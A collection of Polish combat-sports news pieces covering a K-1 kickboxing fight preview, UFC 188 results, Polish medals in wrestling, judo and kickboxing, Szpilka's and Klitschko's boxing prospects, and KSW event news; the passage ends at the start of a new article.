Bardzo ciekawie zapowiada się walka w kategorii wagowej do 91 kg. W tej kategorii spotka się dwóch świetnie zbudowanych zawodników, Jarosław zawodni wzrost 187 cm oraz Patryk Proszek wzrost 186 cm. Obecnie ważą po 96/97 kg ale jak wiadomo w dniu gali muszą mieć po 91 kg. Obaj to bardzo doświadczeni zawodnicy.

Jarosław Zawodni, z klubu z KO Gym Świebodzice, ksywka „Jaro”, trenuje sztuki walki od 1996 roku. Zaczynał od Kyokushinkai. Pierwszy medal zdobył już 2002 roku. Były to  Mistrzostwach Polski Juniorów w Karate i zaczął od zdobycia I miejsca. Od tej chwili wygrywa w najróżniejszych turniejach. Przez 6 lat startował w wielu mistrzostwach karate Kyokushinkai w Holandii, Rosji, Anglii  i w Polsce. Zajął między innymi I miejsce w 1st Holland Cup of Kyokushinkai Karate w Bredzie w 2007 r., 2 miejsce w European Championship of Kyokushinkai Karate w Kazaniu w 2007 r. i ponownie w Bredzie w 2008 r. 2 miejsce oraz tytuł najlepszego technika.  W tym samym roku w Mistrzostwach Polski w Knockdown Karate Kyokushinkai zajmuje 2 miejsce i otrzymuje tytuł najlepszego technika.

""

Jarosław Zawodni startował również zawodowych walkach w Muay Thai, gdzie zdobył w 2009 roku I miejsce w Międzynarodowym Turnieju Muay Thai „KRÓLOWIE RINGU”. W tym samym roku zajmuje I miejsce w Międzynarodowym Pucharze Polski Muay Thai. Kolejne sukcesy Jarka to I miejsce w Mistrzostwach Polski Muay Thai IFMA w 2010 r., I miejsce w Pucharze Europy Muay Thai w Dreźnie i 3 miejsce w Mistrzostwach Świata IFMA Muay Thai w Taszkiencie w Uzbekistanie w 2011 roku. Jarek w zeszłym roku zajął I miejsce w Mistrzostwach Polski Muay Thai IFMA w Świebodzicach.

Jarosław Zawodni to zawodnik walczący również w kickboxingu. Na jego koncie znajdują się I miejsce w Międzynarodowych Mistrzostwach Polski K1 Rules w Gdańsku w 2011 r., II miejsce w kategorii 91 kg na Pucharze Świata K1 w Szeged na Węgrzech, I miejsce w kategorii 95 kg w Mistrzostwach Świata K1 w Londynie oraz I miejsce w kategorii 91 kg w Pucharze Polski K1 Rules w Nowym Targu. Wszystkie te tytuły zdobył w ubiegłym roku.

Jarek walczy nie tylko amatorsko ale również zawodowo. Na jego koncie znajdują się między innymi wygrane walki zawodowe w Gali Kickboxingu w Szydłowcu w 2009 oraz w Bitwie Pod Legnicą K1 w kategorii 86 kg w 2013 r.. Jarek Zawodni zdobył pas Zawodowego Mistrza Polski K1 w kategorii 86 kg w pierwszej edycji Gali FIGHTERS NIGHT w Ostrowcu Świętokrzyskim w 2012 r.

Z Patrykiem Proszkiem ksywka „Proch” ostatni raz walczyli na Mistrzostwach Polski w Low Kicku w Kobyłce w marcu bieżącego roku. Tam okazał się lepszym Patryk, który znokautował Jarka w pierwszej rundzie. Na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4 spotkają się po raz kolejny, ale to będzie walka zawodowa. Tutaj trzeba być inaczej przygotowanym. Wydaje się nam, że ta walka nie będzie tak krótka i tak łatwa dla Patryka Proszka, jak poprzednia. Jarek twierdzi, że nokaut na Mistrzostwach Polski to był tylko przypadek.

Patryk Proszek z Klubu Boxing Zielona Góra, jest zawodnikiem nietypowym, walczącym bardzo różnorodnie. Potrafi mieć bardzo nisko postawioną gardę, szybko pracuje na nogach, uderzając potężne prawe sierpowe czy też prawe proste. Trenuje od 14 lat. Ma na swoim koncie około 150 walk amatorskich w Kickboxingu. Jest to wielokrotny Mistrz Polski w różnych formułach, a także zdobywca w Low Kicku I miejsca w kategorii 91 kg w Pucharze Świata w Szeged na Węgrzech oraz III miejsca w kategorii 86 kg na Mistrzostwach Świata w Macedonii. W bieżącym roku Patryk otrzymuje tytuł Mistrza Polski Low Kick w kategorii 91 kg.

Startował również w boksie i ma na swoim koncie stoczonych ponad 20 walk. Są to wyniki bardzo imponujące.

Obaj odgrażają się i czekają na walkę. Jarek chce zmyć blamaż z ostatnich Mistrzostw w Low Kick, a Patryk chce pokazać, że jest lepszym zawodnikiem. Jeśli brać pod uwagę wiek, doświadczenie w walkach zawodowych to bezspornie przewaga jest po stronie Jarka Zawodniego, który ma na swoim koncie 11 walk zawodowych i 89 amatorskich. W walkach amatorskich przewagę ma na pewno Patryk Proszek. Na swoim koncie ma on prawie 170 walk, czy to w boksie czy też kickboxingu, w tym ponad 100 wygranych. W zawodowych ma na swoim koncie tylko 6 walk. Kto będzie lepszy, okaże się już za półtorej tygodnia na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4, na którą wszystkich serdecznie zapraszamy.

źródło: informacja prasowa

Velasquez na kolanach

Nieudany powrót Caina Velasqueza. Po ponad półtorarocznej przerwie Amerykanin pojawił się w oktagonie i przegrał. Fabricio Werdum pokazał swoją wartość.

Podczas UFC 188 w Meksyku spotkali się dwaj czołowi zawodnicy wagi ciężkiej. Doszło do starcia, na którego z niecierpliwością oczekiwano. Amerykanin i Brazylijczyk mieli się spotkać podczas gali UFC 180, jednak kontuzja Velasqueza sprawiła, że do pojedynku nie doszło. 32-latek długo czekał na powrót, ale dostał możliwość walki na szczycie. Pojedynek z Werdumem był dla niego ogromnym wyzwaniem.

Fabricio mistrz

Mistrzostwo UFC wagi ciężkiej to ogromny prestiż. O ten laur przyszło się mierzyć dwóm tytanom mieszanych sztuk walki. Werdum po pokonaniu Marka Hunta dzierżył w swoich dłoniach tytuł tymczasowego czempiona. W starciu z Velasquezem chciał potwierdzić, że w pełni zasłużył na pas i przewyższa Amerykanina pod względem umiejętności.

Jednak każdy doskonale wie, że były zapaśnik jest doskonałym zawodnikiem. Tyle, że Velasqueza trapiły kontuzje, przez które rozwój jego kariery zatrzymał się. Pasjonujące bitwy z Juniorem Dos Santosem wszyscy wspominają jako pojedynki wybitne. Velasquez chciał nawiązać do swoich najlepszych czasów i wrócić w olśniewającym stylu. Tyle, że przerwa zrobiła swoje. Mimo, iż Werdum jest starszy o pięć lat od Amerykanina, to fakt, że regularnie walczy robi swoje. Brazylijczyk był w dobrej kondycji i w Meksyku udowodnił swoją wartość.

Już od początku starcia Werdum narzucił swoje warunki. 37-latek był skuteczniejszy, jego ciosy dochodziły do celu. Brazylijczyk prowadził walkę, dominował w stójce i imponował przygotowaniem kondycyjnym.  A Velasquez  z minuty na minutę wyglądał na coraz bardziej ociężałego. Pierwszą odsłonę Amerykanin jeszcze przetrwał, ale w drugiej zaczęło brakować mu sił. Werdum jest zawodnikiem wyśmienitym, więc takiej okazji nie mógł przegapić. Brazylijczyk używał kolan, a Velasquez nie potrafił odpowiedzieć. W trzeciej rundzie Amerykanin chciał spróbować swoich sił w parterze, ale zabrakło elementu szybkości. Podczas jednego ze sprowadzeń Werdum wykorzystał swoją gibkość i zaskoczył rywala duszeniem gilotynowym. Było po pojedynku.

Zaskoczenie

Mimo wszystko. Werdum był o klasę lepszy, jednak przed pojedynkiem stawiano na Velasqueza. Choć Amerykanin wracał po długiej przerwie był faworytem. Doświadczony Werdum pokazał, że skreślono go przedwcześnie i został mistrzem UFC wagi ciężkiej.

Ciężkie chwile w Meksyku przeżył Nate Marquardt. Kelvin Gastelum rozbił swojego rywala w stójce i mógł cieszyć się ze zwycięstwa w drugiej rundzie. Emocjonujące starcie w wadze lekkiej pomiędzy Alvarezem, a Melendezem. O wszystkim decydowali sędziowie, ale nie byli zgodni. Niejednogłośnie na punkty wygrał Alvarez. Po niespełna minucie walki odklepać musiał Drew Dober. Skuteczna gilotyna zapewniła zwycięstwo Efrainowi Escudero. Zaledwie dwadzieścia trzy sekundy potrzebował Patrick Williams, aby poddać Alejandro Pereza.

Wyniki UFC 188:

 

Walka o pas mistrza UFC w wadze ciężkiej
120 kg: Fabricio Werdum pok. Caina Velasqueza przez poddanie 

70 kg: Eddie Alvarez pokonał Gilberta Melendeza przez niejednogłośną decyzję 
84 kg: Kelvin Gastelum pokonał Nate'a Marquardta przez TKO
66 kg: Yair Rodriguez pokonał Charlesa Rosę przez niejednogłośną decyzję 
52 kg: Tecia Torres pokonał Angelę Hill przez jednogłośną decyzję 

57 kg: Henry Cejudo pokonał Chico Camusa przez jednogłośną decyzję 
70 kg: Efrain Escudero pokonał Drew Dobera przez poddanie
61 kg: Patrick Williams pokonał Alejandra Pereza przez poddanie 
70 kg: Johnny Case pokonał Francisca Trevino przez jednogłośną decyzję 
77 kg: Cathal Pendred pokonał Augusta Montano przez jednogłośną decyzję 
66 kg: Gabriel Benitez pokonał Claya Collarda przez jednogłośną decyzję 

KM

Dziewczyny na medal

Katarzyna Krawczyk i Iwona Matkowska stanęły na podium Igrzysk Europejskich w Baku. Odpowiednio wywalczyły: srebro i brąz.

Nasze zapaśniczki od początku sezonu prezentowały równą i stabilną formę. Do Baku jechały z nadziejami, które kierowały ich uwagę na zdobycie medalu. Zapaśniczki osiągnęły sukces.

Srebrna Krawczyk

25-letnia Polka szła jak burza. Walcząca w kategorii 55kg w stylu wolnym Krawczyk pokonywała kolejne rywalki. Była zdeterminowana i szła w kierunku medalu. W pierwszym pojedynku Polka trafiła na Irinę Nikołową z Bułgarii. Krawczyk dobrze rozpoczęła pojedynek – od wygranej w pierwszej rundzie, później rywalizacja wyrównała się. Druga odsłona na remis, ale to wystarczyło Polce do uzyskania awansu do ćwierćfinału. Tam czekała już Mathilde Riviere z Francji. Scenariusz tego pojedynku był nieco inny. Pierwsza runda w wykonaniu obu zapaśniczek uważna i spokojna. Padł remis i to druga odsłona miała wyłonić zwyciężczynię. Krawczyk przystąpiła do ataku i nie dała szans zawodniczce z Francji – 6:0. Polka była już w strefie medalowej.

Irina Ogołonowa okazała się wymagającą rywalką. Polka musiała dać z siebie wszystko, aby odnieść sukces. Pierwsza runda zacięta, ale z lekką przewagą Krawczyk. 25-latka zwyciężyła 4:2 i nieco spokojniej mogła przystąpić do drugiej odsłony. Ogołonowa trochę osłabła, ale wierzyła w zwycięstwo. Druga runda zakończyła się remisem, co oznaczało wygraną reprezentantki Polski i jej awans do finału.

W decydującej walce Krawczyk trafiła na utytułowaną rywalkę – Sofię Mattsson. Szwedka w swojej kolekcji ma medale mistrzostw Europy i świata. W 2014 roku okazała się najlepszą zawodniczką Starego Kontynentu. Polka po wyczerpującej półfinałowej walce przystąpiła do rywalizacji o złoty medal. Mattsson okazała się zbyt silną przeciwniczką. Szwedka nie dała szans Krawczyk i pokonała ją przed czasem. Mimo to Polka osiągnęła ogromny sukces – zdobyła srebrny medal na I Igrzyskach Europejskich.

Brązowa Matkowska

Gdyby nie zawodniczka z Azerbejdżanu, również druga z naszych zapaśniczek rywalizowałby o złoto. Matkowska walcząca w kategorii 48kg w ćwierćfinale uległa Mariji Stadnik.

Udział w rywalizacji w Baku Polka rozpoczęła od walki z Emilią Vuc. Zawodniczka z Rumunii nie sprawiła Polce większych problemów, tak jak i kolejna rywalka. W 1/8 finału Matkowska trafiła na Holenderkę Jessicę Blaszkę. Zapaśniczka z Niderlandów nie miała najmniejszych szans w starciu z Polką. Okazało się, że w ćwierćfinale  Matkowska trafiła na przeszkodę nie do przejścia. Stadnik wygrała na punkty. Polka musiała zadowolić się walką o brązowy medal, a o miejsce na podium przyszło jej rywalizować z Julie Sabatie.

Matkowska już w pierwszej rundzie pokazała, że zależy jej na osiągnięciu sukcesu. Po trzydziestu sekundach zdobyła pierwsze dwa punkty, a później w parterze dołożyła kolejne  i było 4:0. W drugiej rundzie Francuzka starała się atakować Polkę, jednak ta stosowała skuteczne uniki. Matkowska wyczekała rywalkę i stosowała punktowe ataku. Polka zwyciężyła 8:0 i potwierdziła swoją wyższość nad Francuzką. Brązowy medal trafił do Matkowskiej.

KM

Pieńkowska przyćmiła Kłys

W Grand Prix w Budapeszcie w judo wystartowały dwie Polki. Na pierwszy rzut oka wydawać by się mogło, że Karolina Pieńkowska zbiera dopiero szlify, a Katarzyna Kłys walczy o zwycięstwo. Nic bardziej mylnego.

Choć Kłys jest bardziej doświadczona i utytułowana, to w Budapeszcie tego nie potwierdziła. Brązowa medalistka ubiegłorocznych mistrzostw świata, które odbyły się w Czelabińsku do stolicy Węgier pojechała szlifować formę przed pierwszymi w historii Igrzyskami Europejskimi. Z jakim efektem?

Nieudana dogrywka

Kłys stara się nawiązać do dobrych występów z poprzedniego sezonu, jednak różnie jej to wychodzi. Grand Prix w Budapeszcie miało pokazać w jakim punkcie znajduje się nasza judoczka przed startem w Baku. Okazuje się, że przed Kłys dużo pracy, a czasu praktycznie nie ma. 29-letnia judoczka w poprzednim sezonie radziła sobie bardzo dobrze i w większości zawodów była w czołówce. W Budapeszcie rozczarowała.

Polka, która startowała w kategorii 70kg była rozstawiona w zawodach, dzięki czemu w pierwszej rundzie miała wolny los. Zatem rywalizację rozpoczęła od 1/8 finału. Z jednej strony to dobrze, a z drugiej z marszu musiała przystąpić do rywalizacji. Polka trafiła na waleczną Hiszpankę Marię Bernabeu. W regulaminowym czasie nie udało się wyłonić zwyciężczyni. Zarówno Kłys jak i Bernabeu otrzymały po jednej karze shido i konieczna okazała się dogrywka. W tej lepiej spisała się Hiszpanka, chociaż nie zakończyła efektownie walki. Kłys dostała kolejną karę i musiała pogodzić się z porażką.

Zawodniczka Polonii Rybnik w Budapeszcie stoczyła jedną walkę, co nie daje odpowiedzi na pytanie dotyczące jej dyspozycji. Mimo to pojawia się niepokój dotyczący szans Kłys w Baku. Polka w imprezach najwyższej rangi potrafi się zmobilizować, ale ten sezon nie idzie po jej myśli. Czy przełamanie nastąpi w Baku?

Pieńkowska przegrała z triumfatorką

Dla Karoliny Pieńkowskiej start w Budapeszcie był kolejnym etapem przygotowań do Uniwersjady w Korei Południowej. 21-letnia judoczka AZS-u UW Warszawa stopniowo zdobywa doświadczenie i coraz lepiej prezentuje się zawodach międzynarodowych. Startująca w kategorii 52kg Polka w stolicy Węgier radziła sobie bardzo dobrze do ćwierćfinału.

Na początek Pieńkowska trafiła na zawodniczkę gospodarzy Lucę Polgar, jednak 21-latka uporała się ze swoją rywalką. W kolejnej walce trafiła na Roni Schwartz z Izraela. Po tym pojedynku Pieńkowska mogła przygotowywać do rywalizacji o start w półfinale. W ćwierćfinale Polka trafiła na Mareen Kraeh i Niemka okazała się przeszkodą nie do przejścia. Do walki o medale zabrakło niewiele, gdyż Pieńkowska przegrała zaledwie jedną karą shido. Polka stoczyła jeszcze jeden pojedynek. W repasażach Pieńkowska spotkała się z Laurą Gomez, ale przegrała przez ippon i ostatecznie rywalizację w Budapeszcie zakończyła na siódmym miejscu. Najlepsza w kategorii 52kg okazała się Kraeh.

KM

Szybkie działanie Szpilki

Pobyt Artura Szpilki w USA ma służyć jego rozwojowi. Bokser z Wieliczki jest obecnie najwyżej notowanym polskim pięściarzem wagi ciężkiej i z nadzieją patrzy w przyszłość. Podczas gali Premier Boxing Champions w pojedynku z Manuelem Quezadą udowodnił swoją wyższość.

37-latek raczej do orłów nie należy, a najlepsze czasy ma już dawno za sobą. Do pojedynku ze Szpilką przystępował po kolejnych pięciu porażkach. Bez wątpienia faworytem walki był Szpilka, czyli bokser szybszy, sprawniejszy i skuteczniejszy. „Szpila” dostał kolejnego rywala na przetarcie, tak jak i w przypadku poprzedniego występu, w którym zmierzył się z Ty’em Cobbem.

Od początku starcia wyraźnie zarysowała się przewaga Polaka, który kontrolował przebieg pojedynku i wyprowadzał skuteczne ciosy. Quezada postawił na obronę, jednak nie zawsze spełniała ona swoją rolę. Szpilka był konsekwentny – co i raz rozbijał gardę swojego rywala. Traktował go kombinacjami, często też pracował prawym prostym. Polak był zdecydowanie szybszy, co utrudniało działanie Quezadzie. Z upływem kolejnych minut 37-latek wyglądał na zniechęconego, jakby chciał już zmienić otoczenie. Quezada na ringu nie spędził wiele czasu. Po trzech rundach zrezygnował z dalszej rywalizacji. Tym samy Szpilka zapisał na swoim koncie dziewiętnaste zwycięstwo w karierze. Opuszczającego ring w Chicago Quezadę żegnały gwizdy.

Nie ma, co ukrywać, że „Szpila” dostał kolejnego rywala na roztrenowanie. Z pięściarzami takimi jak Quezada 26-latek powinien rozprawiać się z zamkniętymi oczami. Szpilka musi przyzwyczaić się do amerykańskiej specyfiki, standardów. Treningi z Ronnim Shieldsem są wymagające, ale wpływają na rozwój umiejętności pięściarza. Dwie walki w USA i dwa zwycięstwa. Czy kolejny pojedynek również będzie wyglądał podobnie? Słychać głosy, wedle których na jesieni Szpilka ma zmierzyć się z poważnym rywalem. Mówi się o Steve Cunninghamie. Warto sprawdzić, na co tak naprawdę stać „Szpilę” i w jakim punkcie kariery obecnie znajduje się. Wiadomo, że przez całą karierę nie będzie walczył z kelnerami. Z kolei w Polsce udowodnił swoją wartość i pokazał, że obecnie jest najlepszy w kraju. W pojedynku z Tomaszem Adamkiem „Szpila” charakteryzował się rozsądkiem oraz dużym spokojem, czyli elementami, o które wcześniej trudno było go posądzać.

W swojej dotychczasowej karierze Szpilka zanotował jedną porażkę. Wydawało się, że Polak będzie szedł konsekwentnie krok po kroku do przodu, ale zatrzymał go Bryant Jennings. Dla Szpilki to cenne doświadczenie, które może zaowocować. Bokser musi pamiętać, że każdemu rywalowi należy się szacunek. Nie da się ukryć, że postawa Polaka w ringu zmieniła się. Teraz wygląda inaczej i widać tego efekty. Pobyt w USA ma mu służyć. Jak to wszystko potoczy się dalej? Zobaczymy, kto będzie kolejną przeszkodą Szpilki na drodze do mistrzostwa świata.

KM

Kliczko czeka na Wildera

Mistrz z Ukrainy nadal chce walczyć o najwyższe cele. W jego kolekcji brakuje mu mistrzowskiego pasa WBC, dlatego też Władimir Kliczko poważnie myśli o pojedynku z Deontayem Wilderem.

Ukrainiec będzie musiał odłożyć swoje plany w czasie. Starcie z Wilderem jest jak najbardziej realne, jednak na obecną chwilę do niego nie dojdzie. Najwcześniej na początku przyszłego roku. Kliczko jesienią zmierzy się Tysonem Furym, który jest obowiązkowym pretendentem do pasa WBO. Anglik słynie z niewyparzonego języka i wielokrotnie wyrażał chęć walki z Ukraińcem, podkreślając przy tym, że go pokona. Fury będzie miał okazję wcielić swoje słowa w życie, ale jak pokazuje doświadczenie – różnie z tym bywa. Wystarczy wspomnieć Davida Haye’a , który odgrażał się, ale i tak przegrał z Kliczko. Z pewnością Fury ma możliwości, aby sprawić niespodziankę. Anglik jest młody, szybki i ma mocny cios, jednak Kliczko to pięściarz doświadczony i potrafi przygotować się do rywalizacji. Choć Fury może przysporzyć mu kłopotów.

Brakujący pas

Jednak Ukrainiec myśli o Wilderze. To mógłby być pojedynek rodem z „Gwiezdnych wojen”. Wilder to pięściarz maszynka, który rozbija to, co stanie na jego drodze. W swojej karierze tylko raz rozstrzygnął pojedynek na punkty, a było to walce o mistrzostwo świata WBC z Bermane Stivernem. Amerykanin jest królem nokautów. Zazwyczaj jego walki nie trwają dłużej niż cztery rundy! A w dużej części swoich rywali kładł na deski już w pierwszej rundzie. Kliczko chce się spotkać z Wilderem i udowodnić, kto jest prawdziwym mistrzem. Ponadto, Ukrainiec chce uzupełnić braki w swojej kolekcji i zyskać pas WBC. Jednak zaznacza, że nie jest to konieczne. – Jednym z moich celów jest pojedynek z Wilderem. Chcę z nim walczyć od momentu, w którym sięgnął po tytuł, którego nie zdobyłem. Chcę zunifikować wszystkie pasy, ale nie muszę tego robić. Jeśli nie dojdzie do walki nadal pozostanę mistrzem – powiedział Kliczko.

Ukrainiec przygotowuje się do starcia z Furym, a najbliższym rywalem Wildera będzie Eric Molina. 33-latek przegrał dwa razy w swojej karierze – w debiucie oraz trzy lata temu z Chrisem Arreolą. Ostatnio wygrał z Raphaelem Zumbano Love i była to jego piąta wygrana z rzędu.

Brytyjska potyczka?

Do ciekawego starcia mogłoby dojść w Wielkiej Brytanii, ale wydaje się, iż jest to melodia przyszłości. Fantastycznie rozwija się Anthony Joshua, który pokonuje kolejnych rywali. Z kolei po przerwie na ring zamierza wrócić David Haye. 34-latek nie ukrywa, że chciałby zmierzyć się z młodszym kolegą. – O tym, czy dojdzie do mojej walki z Joshuą zadecyduje wiele czynników.  Konieczne jest, abym wrócił na ring. Z kolei Joshua musi nadal wygrywać. On i ja jesteśmy z Londynu. Gdyby doszło do naszej walki, byłoby to wielkie wydarzenie – powiedział Haye.

KM

Ciężki pojedynek

Cierpliwość popłaca. Fabricio Werdum w końcu doczekał się na pojedynek z Cainem Velasquezem. Prędzej czy później i tak by do niego doszło.

Długa historia

Starcie Brazylijczyka i Amerykanina planowane było już wcześniej, jednak kłopoty zdrowotne Velasqueza wykluczyły walkę. Zawodnicy mieli spotkać się podczas UFC 180. Ostatecznie Werdum walczył z Markiem Huntem.

Problemem Velasqueza są liczne kontuzje, które uniemożliwiają mu regularne starty. Z pojedynku z Werdumem wyeliminował go uraz łąkotki kolana. Wcześniej Amerykanin zmagał się z kontuzją barku, której doznał tuż po zdobyciu mistrzostwa wagi ciężkiej. Przerwa Velasqueza trwała osiem miesięcy. Ponadto, w 2012 roku poddał się operacji kolana. Dolegliwości zdrowotne towarzyszą Amerykaninowi praktycznie na każdym kroku.

Po blisko siedmiu miesiącach od UFC 180 w końcu dojdzie do spotkania Werduma i Velasqueza. W oktagonie staną naprzeciw siebie dwaj wielcy zawodnicy.

Wyczekiwane starcie

13 czerwca w Meksyku spotkają się dwie gwiazdy UFC. Velasquez w swoich dotychczasowych występach poniósł zaledwie jedną porażkę. Amerykanin przegrał z Juniorem Dos Santosem w listopadzie 2011 roku, jednak szybko wziął rewanż na Brazylijczyku. Velasquez dwukrotnie udowodnił swoją wyższość. Po raz ostatni pojawił się w oktagonie w październiku 2013 roku, czyli w pojedynku z Werdumem wróci do rywalizacji po ponad półtorarocznej przerwie. Czy podoła wymaganiom?

Warto nadmienić, że Velasquez wypadł z rytmu. Od wspomnianej porażki z Dos Santosem walczył zaledwie cztery razy. Stosując prostą matematykę wychodzi, że w ostatnim czasie pojawiał się w oktagonie zaledwie raz na rok. A trzeba pamiętać, że miał jeszcze długą przerwę. Zatem zasadne jest pytanie o kondycję Velasqueza i jego obecne możliwości, które pozostają zagadką.

Wiadomo, że Amerykanin ma ogromny potencjał. Fabricio Werdum jest w o tyle lepszej sytuacji, że zna swoje możliwości. Brazylijczyk walczy regularnie i jest pewny siebie, a umacniają go w tym ostatnie dokonania. 37-latek wygrał pięć ostatnich pojedynków, w których uporał się m.in. z Royem Nelson czy Antonio Nogueirą. Ostatnią walkę stoczył podczas UFC 180, kiedy pokonał Marka Hunta. Czy Velasquez jest w stanie przypomnieć Brazylijczykowi jak smakuje porażka? Werdum po raz ostatnim przegrał w 2011 roku, a jego pogromcą był Alistair Overeem.

Walka o stawkę

Dwa mocne nazwiska. Stawką pojedynku będzie pas mistrza UFC w wadze ciężkiej. Werdum nie będzie chciał go oddać, a Velasquez dołoży wszelkich starań, aby w dobrym stylu wrócić do oktagonu. Amerykanin jest młodszy, ale ma za sobą długą przerwę w startach. Werdum to doświadczenie i regularność. Amerykanin nie ma wątpliwości, że to będzie fantastyczny pojedynek. – Jestem gotowy na to starcie. Walka będzie twarda i pełna emocji. Werdum jest coraz lepszy, ale ja także.  Czekam na pojedynek w Mexico City.

KM

Pojechali, zwyciężyli i wrócili

Idealny wręcz scenariusz. Podczas prestiżowych zawodów Pucharu Świata WAKO Bestfighter Polacy zdobyli osiemnaście medali. Kickboxing po raz kolejny uwydatnił swój potencjał.

Takie też były przewidywania. Polacy pojechali do Włoch po medale i w celu wzmocnienia formy przed najważniejszymi startami w sezonie. W rywalizacji z mocnymi fighterami nasi reprezentanci pokazali wysokie umiejętności. Dwudziestosiedmioosobowa kadra wywalczyła osiemnaście medali – siedem złotych, cztery srebrne i siedem brązowych.

Polacy z dobrej strony pokazali się w low kicku. Pięć złotych medali najlepiej świadczy o możliwościach naszych reprezentantów. Po raz kolejny dobrą formę potwierdziła Marta Waliczek, która na krajowym podwórku nie ma sobie równych. Okazuje się, że w zawodach międzynarodowych prezentuje równie wysoki poziom i pokonuje kolejne przeszkody. Tym razem Polka walcząca w kategorii 65kg pokonała Sarę Surrel z Francji. Złoto zawisło również na szyi Iwony Nierody (56kg). To kolejny medal zawodniczki Diamentu Pstrągowa, która ustawicznie powiększa swoją kolekcję. W finałowym pojedynku Nieroda rywalizowała z mocną Francuską Emmą Gongorą, jednak dobre przygotowanie do walki i konsekwencja pozwoliły Polce odnieść triumf. Warto zauważyć, że w low kicku biało – czerwoni mieli szczęście do reprezentantów Francji. Mateusz Białecki (67kg) również triumfował po wygranej z zawodnikiem Trójkolorowych. Dobrą dyspozycję potwierdził Łukasz Kaczmarczyk. W kategorii 71kg Polak uporał się z Witalijem Dubiną z Ukrainy. O miejsce w kadrze na mistrzostwa świata walczy nadal Patryk Zaborowski (91kg). Po występie w Rimini z pewnością bardzo przybliżył się do wyjazdu do Serii. We Włoszech Zaborowski zdobył złoto, a w finale w dobrym stylu uporał się z reprezentantem gospodarzy Lorenzo Scalzim, którego odprawił w drugiej rundzie.

Jako jedyny w formule kick light Polskę reprezentował Piotr Wypchał (94kg) i to w jakim stylu. Zawodnik z Krakowa wywalczył złoty medal. Najwięcej krążków odnotowaliśmy w full contact, gdzie Polacy zdobyli ich aż dwanaście, ale tylko jeden koloru złotego. Ze świetnej strony pokazał się Kacper Frątczak (81kg), który zajął pierwsze miejsce i mógł cieszyć się z wygranej. Dla 19-latka to ogromne osiągnięcie. Zwłaszcza, że po drodze Frątczak odprawił mistrza Europy WAKO PRO Artura Raisa. Swoich sił w wyższej kategorii spróbował Mateusz Kubiszyn, który zazwyczaj walczy w 86kg. We Włoszech wystartował w 91kg i zdobył srebrny medal. Polak był blisko triumfu, gdyż w finale rywal z Norwegii był już liczony, ale mimo to udało mu się odnieść zwycięstwo. Nadzieje spełnił Wojciech Peryt, który w kategorii 54kg zdobył srebro. Krążek tego koloru wywalczyły również Gabriela Bednarowicz (56kg) oraz Anna Kołodziejska (+70kg). Z dobrej strony w debiucie zaprezentował się Michał Grzesiak (91kg), który sięgnął po brązowy medal. W wyższej kategorii wagowej na trzeciej pozycji uplasował się Jakub Kozera. Ponadto po brązowe medale sięgały panie: Karolina Mośko (48kg), Emilia Czerwińska (60kg), Kamila Berek (65kg) i Karolina Dziedzic (70kg).

Start w Rimini w wykonaniu naszych reprezentantów był udany. Osiemnaście medali to wynik, który potwierdza miejsce Polski na mapie światowego kickboxingu. Oby na mistrzostwach świata w Belgradzie (low kick) i Dublinie (full contact) Polacy również zajmowali miejsca na szczycie.

KM

Pech Jotki, Częstochowa bez KSW

Krzysztof Jotko cały czas czeka na powrót do oktagonu po kontuzji. Odpadają kolejni rywale Polaka. W październiku w Częstochowie miała odbyć się kolejna gala KSW, ale ostatecznie do niej nie dojdzie.

Rywale wykruszają się

Polski fighter bardzo chce w końcu zaprezentować się w oktagonie. Jotko jest głodny walki. Nie walczył przez osiem miesięcy z powodu kontuzji ręki, jednak doszedł już do zdrowia i w końcu chciałby pojawić się w oktagonie. Tyle, że wszystko cały czas pod górę…

Fenomenalny występ Jotki podczas UFC Fight Night – Nelson vs Story i pokonanie Tora Troenga dały Polakowi zastrzyk energii. Wydawało się, że 25-latek stopniowo będzie robił postępy i rozwijał się w UFC. Kontuzja zatrzymała jego marsz na szczyt. Jotko miał wystąpić na UFC w Krakowie, jednak uraz uniemożliwił mu realizację planów. Licznik występów Polaka w najlepszej organizacji mieszanych sztuk walki na świecie zatrzymał się na trzech pojedynkach. Kiedy wydawało się, że w końcu Jotko ruszy do przodu i stoczy kolejną walkę, rywale zaczęli się sypać. Początkowo podczas gali UFC Fight Night w Berlinie rywalem Polaka miał być Derek Brunson. Okazało się, że rywalizacja nie może dojść do skutku z powodu kontuzji Amerykanina. Z pewnością ciśnienie polskiemu zawodnikowi skoczyło, jednak po chwili ustabilizowało się. Brunsona miał zastąpić Uriah Hall. Minęło kilka dni i okazało się, że Jamajczyk z Nowego Jorku ma problemy wizowe. Pojedynek Krzysztofa Jotki został usunięty z karty walk w Berlinie. Polak musi zatem poczekać na swój powrót.

Częstochowa bez KSW

Wielkim wydarzeniem miała być gala najlepszej polskiej organizacji mieszanych sztuk walki w Anglii. Poprzedzać ją miała impreza w Częstochowie, jednak do niej nie dojdzie. Martin Lewandowski i Maciej Kawulski zostali zmuszeni do odwołania gali. Nie przez osoby trzecie, ale przez Halę Widowiskowo – Sportową w Częstochowie.

Gala KSW to ogromne przedsięwzięcie wymagające pracy i zaangażowania wielu osób, ale także i funkcjonalności obiektu, na którym ma miejsce. Hala w Częstochowie nie spełnia wszystkich wymogów. Sprzęt nagłaśniający i oświetleniowy, który miałby zostać podwieszany pod dachem znacznie przewyższa dopuszczalne normy. Niewykluczone, że KSW wróci do Częstochowy.

Pojedynek Borysa Mańkowskiego z Mikhailem Tsarevem, który miał odbyć się w Częstochowie został przeniesiony na galę w Londynie. Pozostałe walki prawdopodobnie będą miały miejsce podczas imprezy w Krakowie.

Naruszczka wraca

32-letni fighter ponownie pojawi się w Polsce, ale nie na gali KSW, lecz PLMMA 56. Doświadczony Naruszczka zmierzy się z Pawłem Brandysem, który ma na swoim koncie dwa zwycięstwa z rzędu. 32-latek zanotował trzy porażki z rzędu, a do Polski wraca po ponad dwóch latach. Ostatni raz Naruszczka w kraju walczył w marcu 2013 roku, kiedy to podczas KSW 22 przegrał z Rafałem Moksem.

KM

Kłys w drodze do Budapesztu

Ostatnia prosta przed Igrzyskami Europejskimi w Baku. W najbliższy weekend (13-14 czerwca) Katarzyna Kłys wystąpi w zawodach Grand Prix w judo, które odbędą się w Budapeszcie.

